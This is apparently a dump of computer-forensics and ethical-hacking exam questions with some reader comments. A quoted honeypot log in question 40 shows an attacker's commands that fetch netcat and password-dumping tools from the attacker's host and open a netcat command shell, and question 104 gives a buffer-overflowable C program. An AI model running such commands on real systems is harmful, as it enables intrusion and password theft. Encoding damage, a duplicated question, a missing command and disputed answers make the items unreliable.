Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80 Apr 26 
05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53 Apr 26 06:43:05 
[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 Apr 26 06:44:25 victim7 
PAM_pwdb[12509]: (login) session opened for user simple by (uid=0) Apr 26 06:44:36 victim7 
PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506) 
Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080 Apr 26 06:52:10 
[6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558 From the options given 
below choose the one which best interprets the following entry: 
Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 
A. An IDS evasion technique 
B. A buffer overflow attempt 
C. A DNS zone transfer 
D. Data being retrieved from 63.226.81.13 
39. What happens when a file is deleted by a Microsoft operating system using the FAT file system? 
A. only the reference to the file is removed from the FAT 
B. the file is erased and cannot be recovered 
C. a copy of the file is stored and the original file is erased 
D. the file is erased but can be recovered 
40. The following excerpt is taken from a honeypot log that was hosted at laB. wiretrip.net. Snort reported 
Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE 
attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The 
attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. 
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to 
construct SQL statements that will execute shell commands (such as CMD. EXE) on the IIS server. He 
does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is 
functioning correctly. The attacker makes a RDS query which results in the commands run as shown 
below. 
¡°cmd1.exe /c open 213.116.251.162 >ftpcom¡± 
¡°cmd1.exe /c echo johna2k >>ftpcom¡± 
¡°cmd1.exe /c echo haxedj00 >>ftpcom¡± 
¡°cmd1.exe /c echo get nC. exe >>ftpcom¡± 
¡°cmd1.exe /c echo get pdump.exe >>ftpcom¡± 
¡°cmd1.exe /c echo get samdump.dll >>ftpcom¡± 
¡°cmd1.exe /c echo quit >>ftpcom¡± 
¡°cmd1.exe /c ftp -s:ftpcom¡± 
¡°cmd1.exe /c nc -l -p 6969 -e cmd1.exe¡± 
What can you infer from the exploit given? 
A. It is a local exploit where the attacker logs in using username johna2k 
B. There are two attackers on the system . johna2k and haxedj00 
C. The attack is a remote exploit and the hacker downloads three files 
D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port 
Explanation: 
: The log clearly indicates that this is a remote exploit with three files being downloaded and hence the 
correct answer is C. 
41. When reviewing web logs, you see an entry for resource not found in the HTTP status code fileD. What is 
the actual error code that you would see in the log for resource not found? 
A. 202 
B. 404 
C. 505 
D. 909 
42. You are called in to assist the police in an investigation involving a suspected drug dealer. The suspects 
house was searched by the police after a warrant was obtained and they located a floppy disk in the 
suspects bedroom. The disk contains several files, but they appear to be password protecteD. What are two 
common methods used by password cracking software that you can use to obtain the password? 
A. Limited force and library attack 
B. Brute Force and dictionary Attack 
C. Maximum force and thesaurus Attack 
D. Minimum force and appendix Attack 
43. When examining a hard disk without a write-blocker, you should not start windows because Windows will 
write data to the: 
A. Recycle Bin 
B. MSDOS.sys 
C. BIOS 
D. Case files 
44. An Employee is suspected of stealing proprietary information belonging to your company that he had no 
rights to possess. The information was stored on the Employees Computer that was protected with the 
NTFS Encrypted File System (EFS) and you had observed him copy the files to a floppy disk just before 
leaving work for the weekenD. You detain the Employee before he leaves the building and recover the 
floppy disks and secure his computer. Will you be able to break the encryption so that you can verify that 
that the employee was in possession of the proprietary information? 
A. EFS uses a 128-bit key that can.t be cracked, so you will not be able to recover the information 
B. When the encrypted file was copied to the floppy disk, it was automatically unencrypted, so you can 
recover the information 
C. The EFS Revoked Key Agent can be used on the Computer to recover the information 
D. When the Encrypted file was copied to the floppy disk, the EFS private key was also copied to the 
floppy disk, so you can recover the information. 
45. What type of file is represented by a colon (:) with a name following it in the Master File Table of NTFS 
disk? 
A. A compressed file 
B. A Data stream file 
C. An encrypted file 
D. A reserved file 
46. In Microsoft file structures, sectors are grouped together to form: 
A. Clusters 
B. Drives 
C. Bitstreams 
D. Partitions 
47. While working for a prosecutor, What do you think you should do if the evidence you found appears to be 
exculpatory and is not being released to the defense ? 
A. Keep the information of file for later review 
B. Destroy the evidence 
C. Bring the information to the attention of the prosecutor, his or her supervisor or finally to the judge 
D. Present the evidence to the defense attorney 
48. When a file is deleted by Windows Explorer or through the MS-DOS delete command, the operating 
system inserts _______________ in the first letter position of the filename in the FAT database. 
A. A Capital X 
B. A Blank Space 
C. The Underscore Symbol 
D. The lowercase Greek Letter Sigma (s) 
49. When you carve an image, recovering the image depends on which of the following skills? 
A. Recognizing the pattern of the header content 
B. Recovering the image from a tape backup 
C. Recognizing the pattern of a corrupt file 
D. Recovering the image from the tape backup 
50. In General, __________________ Involves the investigation of data that can be retrieved from the hard 
disk or other disks of a computer by applying scientific methods to retrieve the datA. 
A. Network Forensics 
B. Data Recovery 
C. Disaster Recovery 
D. Computer Forensics 
51. When conducting computer forensic analysis, you must guard against ______________ So that you remain 
focused on the primary job and insure that the level of work does not increase beyond what was originally 
expecteD. 
A. Hard Drive Failure 
B. Scope Creep 
C. Unauthorized expenses 
D. Overzealous marketing 
52. Which of the following is NOT a graphics file ? 
A. Picture1.tga 
B. Picture2.bmp 
C. Picture3.nfo 
D. Picture4.psd 
53. You have used a newly released forensic investigation tool, which doesn.t meet the Daubert Test, during a 
case. The case has ended-up in court. What argument could the defense make to weaken your case? 
A. The tool hasn.t been tested by the International Standards Organization (ISO) 
B. Only the local law enforcement should use the tool 
C. The total has not been reviewed and accepted by your peers 
D. You are not certified for using the tool 
54. Windows identifies which application to open a file with by examining which of the following? 
A. The File extension 
B. The file attributes 
C. The file Signature at the end of the file 
D. The file signature at the beginning of the file 
55. With Regard to using an Antivirus scanner during a computer forensics investigation, You should: 
A. Scan the suspect hard drive before beginning an investigation 
B. Never run a scan on your forensics workstation because it could change your systems configuration 
C. Scan your forensics workstation at intervals of no more than once every five minutes during an 
investigation 
D. Scan your Forensics workstation before beginning an investigation 
56. To make sure the evidence you recover and analyze with computer forensics software can be admitted in 
court, you must test and validate the software. What group is actively providing tools and creating 
procedures for testing and validating computer forensics software ? 
A. Computer Forensics Tools and Validation Committee (CFTVC) 
B. Association of Computer Forensics Software Manufactures (ACFSM) 
C. National Institute of Standards and Technology (NIST) 
D. Society for Valid Forensics Tools and Testing (SVFTT) 
57. Bob has been trying to penetrate a remote production system for the past tow weeks. This time however, he 
is able to get into the system. He was able to use the System for a period of three weeks. However law 
enforcement agencies were recoding his every activity and this was later presented as evidence. 
The organization had used a Virtual Environment to trap BoB. What is a Virtual Environment? 
A. A Honeypot that traps hackers 
B. A system Using Trojaned commands 
C. An environment set up after the user logs in 
D. An environment set up before an user logs in 
58. When investigating a network that uses DHCP to assign IP addresses, where would you look to determine 
which system (MAC address) had a specific IP address at a specific time? 
A. on the individual computer.s ARP cache 
B. in the Web Server log files 
C. in the DHCP Server log files 
D. there is no way to determine the specific IP address 
59. You are called by an author who is writing a book and he wants to know how long the copyright for his 
book will last after he has the book published? 
A. 70 years 
B. the life of the author 
C. the life of the author plus 70 years 
D. copyrights last forever 
60. How many sectors will a 125 KB file use in a FAT32 file system? 
A. 32 
B. 16 
C. 250 
D. 25 
1. doni says: 
March 21, 2012 at 5:07 am 
can you explain me about 125 KB file use in a FAT32 ? 
Reply 
2. mr_tienvu says: 
March 21, 2012 at 9:32 am 
The answer is 250 sectors. 
125 x 1024 bytes per KB = 128,000 total bytes in the file. 128,000 bytes / 512 sectors per cluster = 250 
sectors 
61. When performing a forensics analysis, what device is used to prevent the system from recording data on an 
evidence disk? 
A. a write-blocker 
B. a protocol analyzer 
C. a firewall 
D. a disk editor 
62. You have been asked to investigate the possibility of computer fraud in the finance department of a 
company. It is suspected that a staff member has been committing finance fraud by printing cheques that 
have not been authorizeD. You have exhaustively searched all data files on a bitmap image of the target 
computer, but have found no evidence. You suspect the files may not have been saveD. What should you 
examine next in this case? 
A. The registry 
B. Theswapfile 
C. The recycle bin 
D. The metadata 
63. In a FAT32 system, a 123 KB file will use how many sectors? 
A. 34 
B. 246 
C. 11 
D. 56 
64. Under which Federal Statutes does FBI investigate for computer crimes involving e-mail scams and mail 
fraud? 
A. 18 U.S.C. 1029 Possession of Access Devices 
B. 18 U.S.C. 1030 Fraud and related activity in connection with computers 
C. 18 U.S.C. 1343 Fraud by wire, radio or television 
D. 18 U.S.C. 1361 Injury to Government Property 
E.18 U.S.C. 1362 Government communication systems 
G.18 U.S.C. 1832 Trade Secrets Act 
Explanation: 
18 U.S.C. 1831 Economic Espionage Act 
65. What TCP/UDP port does the toolkit program netstat use? 
A. Port 7 
B. Port 15 
C. Port 23 
D. Port 69 
66. Office documents (Word, Excel, PowerPoint) contain a code that allows tracking the MAC, or unique 
identifier, of the machine that created the document. 
What is that code called? 
A. the Microsoft Virtual Machine Identifier 
B. the Personal Application Protocol 
C. the Globally Unique ID 
D. the Individual ASCII String 
67. Which federal computer crime law specifically refers to fraud and related activity in connection with access 
devices like routers? 
A. 18 U.S.C. 1029 
B. 18 U.S.C. 1362 
C. 18 U.S.C. 2511 
D. 18 U.S.C. 2703 
68. Which response organization tracks hoaxes as well as viruses? 
A. NIPC 
B. FEDCIRC 
C. CERT 
D. CIAC 
69. What method of computer forensics will allow you to trace all ever-established user accounts on a 
Windows 2000 sever the course of its lifetime? 
A. forensic duplication of hard drive 
B. analysis of volatile data 
C. comparison of MD5 checksums 
D. review of SIDs in the Registry 
70. What header field in the TCP/IP protocol stack involves the hacker exploit known as the Ping of Death? 
A. ICMP header field 
B. TCP header field 
C. IP header field 
D. UDP header field 
71. Why should you note all cable connections for a computer you want to seize as evidence? 
A. to know what outside connections existed 
B. in case other devices were connected 
C. to know what peripheral devices exist 
D. to know what hardware existed 
72. You should make at least how many bit-stream copies of a suspect drive? 
A. 1 
B. 2 
C. 3 
D. 4 
73. Which Intrusion Detection System (IDS) usually produces the most false alarms due to the unpredictable 
behaviors of users and networks? 
A. network-based IDS systems (NIDS) 
B. host-based IDS systems (HIDS) 
C. anomaly detection 
D. signature recognition 
1. val says: 
June 17, 2012 at 8:09 pm 
this one wrong as well. the answer is in the question, nids, specifically anamoly detection nids will 
produce the most false positivies to due to challanging traffic patterns and flows 
2. Ay says: 
July 8, 2012 at 8:11 am 
I agree with Val on this. NIDS is more susceptible to FP 
74. Jason is the security administrator of ACMA metal Corporation. One day he notices the company.s Oracle 
database server has been compromised and the customer information along with financial data has been 
stolen. The financial loss will be in millions of dollars if the database gets into the hands of the competitors. 
Jason wants to report this crime to the law enforcement agencies immediately. Which organization 
coordinates computer crimes investigations throughout the United States? 
A. Internet Fraud Complaint Center 
B. Local or national office of the U.S. Secret Service 
C. National Infrastructure Protection Center 
D. CERT Coordination Center 
75. Which of the following should a computer forensics lab used for investigations have? 
A. isolation 
B. restricted access 
C. open access 
D. an entry log 
76. Corporate investigations are typically easier than public investigations because: 
A. the users have standard corporate equipment and software 
B. the investigator does not have to get a warrant 
C. the investigator has to get a warrant 
D. the users can load whatever they want on their machines 
77. Area density refers to: 
A. the amount of data per disk 
B. the amount of data per partition 
C. the amount of data per square inch 
D. the amount of data per platter 
1. j!nx says: 
August 3, 2012 at 1:32 am 
Wrong answer. correct answer is C, the amount of data per square inch. 
78. Sectors in hard disks typically contain how many bytes? 
A. 256 
B. 512 
C. 1024 
D. 2048 
79. What does the superblock in Linux define? 
A. filesynames 
B. diskgeometr 
C. location of the firstinode 
D. available space 
80. Terri works for a security consulting firm that is currently performing a penetration test on First National 
Bank in Tokyo. Terri.s duties include bypassing firewalls and switches to gain access to the network. Terri 
sends an IP packet to one of the company.s switches with ACK bit and the source address of her machine 
set. What is Terri trying to accomplish by sending this IP packet? 
A. Trick the switch into thinking it already has a session with Terri.s computer 
B. Poison the switch.s MAC address table by flooding it with ACK bits 
C. Crash the switch with aDoS attack since switches cannot send ACK bits 
D. Enable tunneling feature on the switch 
81. When obtaining a warrant it is important to: 
A. particularlydescribe the place to be searched and particularly describe the items to be seized 
B. generallydescribe the place to be searched and particularly describe the items to be seized 
C. generallydescribe the place to be searched and generally describe the items to be seized 
D. particularlydescribe the place to be searched and generally describe the items to be seized 
82. You are working for a local police department that services a population of 1,000,000 people and you have 
been given the task of building a computer forensics laB. How many law-enforcement computer 
investigators should you request to staff the lab? 
A. 8 
B. 1 
C. 4 
D. 2 
83. From the following spam mail header, identify the host IP that sent this spam? 
From jie02@netvigator.com jie02@netvigator.com Tue Nov 27 17:27:11 2001 Received: from 
viruswall.ie.cuhk.edu.hk (viruswall [137.189.96.52]) by eng.ie.cuhk.edu.hk (8.11.6/8.11.6) with ESMTP id 
fAR9RAP23061 for ; Tue, 27 Nov 2001 17:27:10 +0800 (HKT) Received: from mydomain.com 
(pcd249020.netvigator.com [203.218.39.20]) by viruswall.ie.cuhk.edu.hk (8.12.1/8.12.1) 
with SMTP id fAR9QXwZ018431 for ; Tue, 27 Nov 2001 17:26:36 +0800 (HKT) Message-Id: 
>200111270926.fAR9QXwZ018431@viruswall.ie.cuhk.edu.hk 
From: ¡°china hotel web¡± 
To: ¡°Shlam¡± 
Subject: SHANGHAI (HILTON HOTEL) PACKAGE 
Date: Tue, 27 Nov 2001 17:25:58 +0800 MIME-Version: 1.0 X-Priority: 3 X-MSMail- 
Priority: Normal 
Reply-To: ¡°china hotel web¡± 
A. 137.189.96.52 
B. 8.12.1.0 
C. 203.218.39.20 
D. 203.218.39.50 
84. If you see the files Zer0.tar.gz and copy.tar.gz on a Linux system while doing an investigation, what can 
you conclude? 
A. The system files have been copied by a remote attacker 
B. The system administrator has created an incremental backup 
C. The system has been compromised using a t0rnrootkit 
D. Nothing in particular as these can be operational files 
85. What binary coding is used most often for e-mail purposes? 
A. MIME 
B. Uuencode 
C. IMAP 
D. SMTP 
86. If you discover a criminal act while investigating a corporate policy abuse, it becomes a public- sector 
investigation and should be referred to law enforcement? 
A. true 
B. false 
87. During the course of an investigation, you locate evidence that may prove the innocence of the suspect of 
the investigation. You must maintain an unbiased opinion and be objective in your entire fact finding 
process. Therefore you report this evidence. This type of evidence is known as: 
A. Inculpatory evidence 
B. mandatory evidence 
C. exculpatory evidence 
D. Terrible evidence 
88. What term is used to describe a cryptographic technique for embedding information into something else for 
the sole purpose of hiding that information from the casual observer? 
A. rootkit 
B. key escrow 
C. steganography 
D. Offset 
89. You are working on a thesis for your doctorate degree in Computer Science. Your thesis is based on 
HTML, DHTML, and other web-based languages and how they have evolved over the years. You navigate 
to archive. org and view the HTML code of news.com. You then navigate to the current news.com website 
and copy over the source code. While searching through the code, you come across something abnormal: 
What have you found? 
A. Web bug 
B. CGI code 
C. Trojan.downloader 
D. Blind bug 
90. Tyler is setting up a wireless network for his business that he runs out of his home. He has followed all the 
directions from the ISP as well as the wireless router manual. He does not have any encryption set and the 
SSID is being broadcast. On his laptop, he can pick up the wireless signal for short periods of time, but then 
the connection drops and the signal goes away. Eventually the wireless signal shows back up, but drops 
intermittently. What could be Tyler issue with his home wireless network? 
A. Computers on his wired network 
B. Satellite television 
C. 2.4Ghz Cordless phones 
D. CB radio 
91. How many possible sequence number combinations are there in TCP/IP protocol? 
A. 1 billion 
B. 320 billion 
C. 4 billion 
D. 32 million 
92. In a virtual test environment, Michael is testing the strength and security of BGP using multiple routers to 
mimic the backbone of the Internet. This project will help him write his doctoral thesis on ¡°bringing down 
the Internet¡±. Without sniffing the traffic between the routers, Michael sends millions of RESET packets to 
the routers in an attempt to shut one or all of them down. After a few hours, one of the routers finally shuts 
itself down. What will the other routers communicate between themselves? 
A. The change in the routing fabric to bypass the affected router 
B. More RESET packets to the affected router to get it to power back up 
C. RESTART packets to the affected router to get it to power back up 
D. STOP packets to all other routers warning of where the attack originated 
93. Your company.s network just finished going through a SAS 70 audit. This audit reported that overall, your 
network is secure, but there are some areas that needs improvement. The major area was SNMP security. 
The audit company recommended turning off SNMP, but that is not an option since you have so many 
remote nodes to keep track of. What step could you take to help secure SNMP on your network? 
A. Block all internal MAC address from using SNMP 
B. Block access to UDP port 171 
C. Block access to TCP port 171 
D. Change the default community string names 
94. After passively scanning the network of Department of Defense (DoD), you switch over to active scanning 
to identify live hosts on their network. DoD is a lage organization and should respond to any number of 
scans. You start an ICMP ping sweep by sending an IP packet to the broadcast address. Only five hosts 
responds to your ICMP pings; definitely not the number of hosts you were expecting. Why did this ping 
sweep only produce a few responses? 
A. Only IBM AS/400 will reply to this scan 
B. Only Windows systems will reply to this scan 
C. A switched network will not respond to packets sent to the broadcast address 
D. Only Unix and Unix-like systems will reply to this scan 
95. How many bits is Source Port Number in TCP Header packet? 
A. 16 
B. 32 
C. 48 
D. 64 
96. What does ICMP Type 3/Code 13 mean? 
A. Host Unreachable 
B. Administratively Blocked 
C. Port Unreachable 
D. Protocol Unreachable 
97. What will the following command accomplish? 
c:\> nmap -v -sS -Po 172.16.28.251 -data_length 66000-packet_trace 
A. Test ability of a router to handle over-sized packets 
B. Test the ability of a router to handle under-sized packets 
C. Test the ability of a WLAN to handle fragmented packets 
D. Test the ability of a router to handle fragmented packets 
98. Harold wants to set up a firewall on his network but is not sure which one would be the most appropriate. 
He knows he needs to allow FTP traffic to one of the servers on his network, but he wants to only allow 
FTP-PUT. Which firewall would be most appropriate for Harold? needs? 
A. Circuit-level proxy firewall 
B. Packet filtering firewall 
C. Application-level proxy firewall 
D. Data link layer firewall 
99. Julia is a senior security analyst for Berber Consulting group. She is currently working on a contract for a 
small accounting firm in FloridA. They have given her permission to perform social engineering attacks on 
the company to see if their in-house training did any gooD. Julia calls the main number for the accounting 
firm and talks to the receptionist. Julia says that she is an IT technician from the company.s main office in 
IowA. She states that she needs the receptionist.s network username and password to troubleshoot a 
problem they are having. Julia says that Bill Hammond, the CEO of the company, reQuested this 
information. After hearing the name of the CEO, the receptionist gave Julia all the information she asked 
for. What principal of social engineering did Julia use? 
A. Social Validation 
B. Scarcity 
C. Friendship/Liking 
D. Reciprocation 
100. As a security analyst you setup a false survey website that will reQuire users to create a username and a 
strong passworD. You send the link to all the employees of the company. What information will you be 
able to gather? 
A. The IP address of the employees computers 
B. Bank account numbers and the corresponding routing numbers 
C. The employees network usernames and passwords 
D. The MAC address of theemployees?computers 
101. You are the security analyst working for a private company out of France. Your current assignment is to 
obtain credit card information from a Swiss bank owned by that company. After initial reconnaissance, you 
discover that the bank security defenses are very strong and would take too long to penetrate. You decide to 
get the information by monitoring the traffic between the bank and one of its subsidiaries in London. After 
monitoring some of the traffic, you see a lot of FTP packets traveling back and forth. You want to sniff the 
traffic and extract usernames and passwords. What tool could you use to get this information? 
A. Airsnort 
B. Snort 
C. Ettercap 
D. RaidSniff 
102. What is a good security method to prevent unauthorized users from ¡°tailgating¡±? 
A. Man trap 
B. Electronic combination locks 
C. Pick-resistant locks 
D. Electronic key systems 
103. You are running known exploits against your network to test for possible vulnerabilities. To test the 
strength of your virus software, you load a test network to mimic your production network. Your software 
successfully blocks some simple macro and encrypted viruses. You decide to really test the software by 
using virus code where the code rewrites itself entirely and the signatures change from child to child, but 
the functionality stays the same. What type of virus is this that you are testing? 
A. Polymorphic 
B. Metamorphic 
C. Oligomorhic 
D. Transmorphic 
104. Kyle is performing the final testing of an application he developed for the accounting department. 
His last round of testing is to ensure that the program is as secure as possible. Kyle runs the following 
commanD. What is he testing at this point? 
#include <stdio .h=""></stdio> 
#include <string .h=""></string> 
int main(int argc, char *argv[]) 
{ 
char buffer[10]; 
if (argc < 2) 
{ 
fprintf(stderr, ¡°USAGE: %s stringn¡±, argv[0]); 
return 1; 
} 
strcpy(buffer, argv[1]); 
return 0; 
} 
A. Buffer overflow 
B. SQL injection 
C. Format string bug 
D. Kernal injection 
105. James is testing the ability of his routers to withstand DoS attacks. James sends ICMP ECHO requests to 
the broadcast address of his network. What type of DoS attack is James testing against his network? 
A. Smurf 
B. Trinoo 
C. Fraggle 
D. SYN flood 
106. A packet is sent to a router that does not have the packet destination address in its route table, how will the 
packet get to its properA packet is sent to a router that does not have the packet? destination address in its 
route table, how will the packet get to its proper destination? 
A. Root Internet servers 
B. Border Gateway Protocol 
C. Gateway of last resort 
D. Reverse DNS 
107. Jonathan is a network administrator who is currently testing the internal security of his network. He is 
attempting to hijack a session, using Ettercap, of a user connected to his Web server. Why will Jonathan not 
succeed? 
A. Only an HTTPS session can be hijacked 
B. HTTP protocol does not maintain session 
C. Only FTP traffic can be hijacked 
D. Only DNS traffic can be hijacked 
108. Harold is a web designer who has completed a website for ghttech.net. As part of the maintenance 
agreement he signed with the client, Harold is performing research online and seeing how much exposure 
the site has received so far. Harold navigates to google.com and types in the following search. 
link:www.ghttech.net What will this search produce? 
A. All sites that ghttech.net links to 
B. All sites that link to ghttech.net 
C. All search engines that link to .net domains 
D. Sites that contain the code: link:www.ghttech.net 
109. Why is it a good idea to perform a penetration test from the inside? 
A. It is never a good idea to perform a penetration test from the inside 
B. Because 70% of attacks are from inside the organization 
C. To attack a network from a hacker.s perspective 
D. It is easier to hack from the inside 
110. The objective of this act was to protect consumers personal financial information held by financial 
institutions and their service providers. 
A. Gramm-Leach-Bliley Act 
B. Sarbanes-Oxley 2002 
C. California SB 1386 
D. HIPAA 
111. You are a security analyst performing reconnaissance on a company you will be carrying out a penetration 
test for. You conduct a search for IT jobs on Dice.com and find the following information for an open 
position: 
7+ years experience in Windows Server environment 
5+ years experience in Exchange 2000/2003 environment Experience with Cisco Pix Firewall, Linksys 
1376 router, Oracle 11i and MYOB v3.4 Accounting software are required MCSA desired, 
MCSE, CEH preferred 
No Unix/Linux Experience needed 
What is this information posted on the job website considered? 
A. Social engineering exploit 
B. Competitive exploit 
C. Information vulnerability 
D. Trade secret 
112. Terri works for a security consulting firm that is currently performing a penetration test on First National 
Bank in Tokyo. Terri.s duties include bypassing firewalls and switches to gain access to the network. Terri 
sends an IP packet to one of the company.s switches with ACK bit and the source address of her machine 
set. What is Terri trying to accomplish by sending this IP packet? 
A. Trick the switch into thinking it already has a session with Terri.s computer 
B. Poison the switch.s MAC address table by flooding it with ACK bits 
C. Crash the switch with aDoS attack since switches cannot send ACK bits 
D. Enable tunneling feature on the switch 
113. What are the security risks of running a ¡°repair¡± installation for Windows XP? 
A. Pressing Shift+F10gives the user administrative rights 
B. Pressing Shift+F1gives the user administrative rights 
C. Pressing Ctrl+F10 gives the user administrative rights 
D. There are no security risks when running the ¡°repair¡± installation for Windows XP 
114. You have compromised a lower-level administrator account on an Active Directory network of a small 
company in Dallas, Texas. You discover Domain Controllers through enumeration. You connect to one of 
the Domain Controllers on port 389 using ldp.exe. What are you trying to accomplish here? 
A. Poison the DNS records with false records 
B. Enumerate MX and A records from DNS 
C. Establish a remote connection to the Domain Controller 
D. Enumerate domain user accounts and built-in groups 
115. Jason has set up a honeypot environment by creating a DMZ that has no physical or logical access to his 
production network. In this honeypot, he has placed a server running Windows Active Directory. He has 
also placed a Web server in the DMZ that services a number of web pages that offer visitors a chance to 
download sensitive information by clicking on a button. A week later, Jason finds in his network logs how 
an intruder accessed the honeypot and downloaded sensitive information. Jason uses the logs to try and 
prosecute the intruder for stealing sensitive corporate information. Why will this not be viable? 
A. Entrapment 
B. Enticement 
C. Intruding into ahoneypot is not illegal 
D. Intruding into a DMZ is not illegal 
116. Software firewalls work at which layer of the OSI model? 
A. Application 
B. Network 
C. Transport 
D. Data Link 
117. You just passed your ECSA exam and are about to start your first consulting job running security audits for 
a financial institution in Los Angeles. The IT manager of the company you will be working for tries to see 
if you remember your ECSA class. He asks about the methodology you will be using to test the company.s 
network. How would you answer? 
A. Microsoft Methodology 
B. Google Methodology 
C. IBM Methodology 
D. LPT Methodology 
118. When setting up a wireless network with multiple access points, why is it important to set each access point 
on a different channel? 
A. Multiple access points can be set up on the same channel without any issues 
B. Avoid over-saturation of wireless signals 
C. So that the access points will work on differentfreQuencies 
D. Avoid cross talk 
119. You are trying to locate Microsoft Outlook Web Access Default Portal using Google search on the Internet. 
What search string will you use to locate them? 
A. allinurl:¡±exchange/logon.asp¡± 
B. intitle:¡±exchange server¡± 
C. locate:¡±logon page¡± 
D. outlook:¡±search¡± 
120. Harold is a security analyst who has just run the rdisk /s command to grab the backup SAM file on a 
computer. Where should Harold navigate on the computer to find the file? 
A. %systemroot%system32LSA 
B. %systemroot%system32driversetc 
C. %systemroot%repair 
D. %systemroot%LSA 
121. What is kept in the following directory? HKLMSECURITYPolicySecrets 
A. Cached password hashes for the past 20 users 
B. Service account passwords in plain text 
C. IAS account names and passwords 
D. Local store PKI Kerberos certificates 
122. On Linux/Unix based Web servers, what privilege should the daemon service be run under? 
A. Guest 
B. Root 
C. You cannot determine what privilege runs the daemon service 
D. Something other than root 
123. Paul.s company is in the process of undergoing a complete security audit including logical and physical 
security testing. After all logical tests were performed; it is now time for the physical round to begin. None 
of the employees are made aware of this round of testing. The security-auditing firm sends in a technician 
dressed as an electrician. He waits outside in the lobby for some employees to get to work and follows 
behind them when they access the restricted areas. After entering the main office, he is able to get into the 
server room telling the IT manager that there is a problem with the outlets in that room. What type of attack 
has the technician performed? 
A. Tailgating 
B. Backtrapping 
C. Man trap attack 
D. Fuzzing 
124. What operating system would respond to the following command? 
c:\> nmap -sW 10.10.145.65 
A. Windows 95 
B. FreeBSD 
C. Windows XP 
D. Mac OS X 
125. Why are Linux/Unix based computers better to use than Windows computers for idle scanning? 
A. Linux/Unix computers are easier to compromise 
B. Linux/Unix computers are constantly talking 
C. Windows computers are constantly talking 
D. Windows computers will not respond to idle scans 
126. You work as a penetration tester for Hammond Security Consultants. You are currently working on a 
contract for the state government of CaliforniA. Your next step is to initiate a DoS attack on their network. 
Why would you want to initiate a DoS attack on a system you are testing? 
A. Show outdatedeQuipment so it can be replaced 
B. List weak points on their network 
C. Use attack as a launching point to penetrate deeper into the network 
D. Demonstrate that no system can be protected againstDoS attacks 
127. Jim performed a vulnerability analysis on his network and found no potential problems. He runs another 
utility that executes exploits against his system to verify the results of the vulnerability test. The second 
utility executes five known exploits against his network in which the vulnerability analysis said were not 
exploitable. What kind of results did Jim receive from his vulnerability analysis? 
A. False negatives 
B. False positives 
C. True negatives 
D. True positives 
128. In Linux, what is the smallest possible shellcode? 
A. 24 bytes 
B. 8 bytes 
C. 800 bytes 
D. 80 bytes 
129. Your company uses Cisco routers exclusively throughout the network. After securing the routers to the best 
of your knowledge, an outside security firm is brought in to assess the network security. Although they 
found very few issues, they were able to enumerate the model, OS version, and capabilities for all your 
Cisco routers with very little effort. Which feature will you disable to eliminate the ability to enumerate this 
information on your Cisco routers? 
A. Border Gateway Protocol 
B. Cisco Discovery Protocol 
C. Broadcast System Protocol 
D. Simple Network Management Protocol 
130. George is the network administrator of a large Internet company on the west coast. Per corporate policy, 
none of the employees in the company are allowed to use FTP or SFTP programs without obtaining 
approval from the IT department. Few managers are using SFTP program on their computers. Before 
talking to his boss, George wants to have some proof of their activity. George wants to use Ethereal to 
monitor network traffic, but only SFTP traffic to and from his network. 
What filter should George use in Ethereal? 
A. src port 23 and dst port 23 
B. udp port 22 and host 172.16.28.1/24 
C. net port 22 
D. src port 22 and dst port 22 
131. Frank is working on a vulnerability assessment for a company on the West coast. The company hired Frank 
to assess its network security through scanning, pen tests, and vulnerability assessments. After discovering 
numerous known vulnerabilities detected by a temporary IDS he set up, he notices a number of items that 
show up as unknown but Questionable in the logs. He looks up the behavior on the Internet, but cannot find 
anything relateD. What organization should Frank submit the log to find out if it is a new vulnerability or 
not? 
A. APIPA 
B. IANA 
C. CVE 
D. RIPE 
132. At what layer of the OSI model do routers function on? 
A. 4 
B. 3 
C. 1 
D. 5 
133. George is performing security analysis for Hammond and Sons LLC. He is testing security vulnerabilities 
of their wireless network. He plans on remaining as ¡°stealthy¡± as possible during the scan. Why would a 
scanner like Nessus is not recommended in this situation? 
A. Nessus is too loud 
B. Nessus cannot perform wireless testing 
C. Nessus is not a network scanner 
D. There are no ways of performing a ¡°stealthy¡± wireless scan 
134. After undergoing an external IT audit, George realizes his network is vulnerable to DDoS attacks. What 
countermeasures could he take to prevent DDoS attacks? 
A. Enable direct broadcasts 
B. Disable direct broadcasts 
C. Disable BGP 
D. Enable BGP 
135. George is a senior security analyst working for a state agency in FloridA. His state.s congress just passed a 
bill mandating every state agency to undergo a security audit annually. After learning what will be 
required, George needs to implement an IDS as soon as possible before the first audit occurs. The state bill 
requires that an IDS with a ¡°time-based induction machine¡± be useD. What IDS feature must George 
implement to meet this requirement? 
A. Signature-based anomaly detection 
B. Pattern matching 
C. Real-time anomaly detection 
D. Statistical-based anomaly detection 
136. What is the target host IP in the following command? 
A. 172.16.28.95 
B. 10.10.150.1 
C. Firewalk does not scan target hosts 
D. This command is using FIN packets, which cannot scan target hosts 
137. Kimberly is studying to be an IT security analyst at a vocational school in her town. The school offers 
many different programming as well as networking languages. What networking protocol language should 
she learn that routers utilize? 
A. ATM 
B. UDP 
C. BPG 
D. OSPF 
138. Meyer Electronics Systems just recently had a number of laptops stolen out of their office. On these laptops 
contained sensitive corporate information regarding patents and company strategies. A month after the 
laptops were stolen, a competing company was found to have just developed products that almost exactly 
duplicated products that Meyer produces. What could have prevented this information from being stolen 
from the laptops? 
A. EFS Encryption 
B. DFS Encryption 
C. IPS Encryption 
D. SDW Encryption 
139. Bill is the accounting manager for Grummon and Sons LLC in Chicago. On a regular basis, he needs to 
send PDF documents containing sensitive information through E-mail to his customers. Bill protects the 
PDF documents with a password and sends them to their intended recipients. 
Why PDF passwords do not offer maximum protection? 
